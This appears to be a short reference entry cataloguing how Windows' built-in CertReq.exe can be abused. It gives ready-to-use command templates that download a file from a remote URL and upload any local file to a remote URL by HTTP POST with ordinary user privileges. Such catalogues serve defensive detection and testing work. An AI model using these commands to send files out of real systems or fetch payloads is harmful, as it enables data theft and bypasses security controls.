CertReq.exe

Used for requesting and managing certificates

Paths

  • C:\Windows\System32\certreq.exe
  • C:\Windows\SysWOW64\certreq.exe

Commands

Download

Send the specified file (penultimate argument) to the specified URL via HTTP POST and save the response to the specified txt file (last argument).

Use case: Download file from Internet

Privileges: User

CertReq -Post -config {REMOTEURL} {PATH_ABSOLUTE} {PATH:.txt}

Upload

Send the specified file (last argument) to the specified URL via HTTP POST and show response in terminal.

Use case: Upload

Privileges: User

CertReq -Post -config {REMOTEURL} {PATH_ABSOLUTE}

Detection

Resources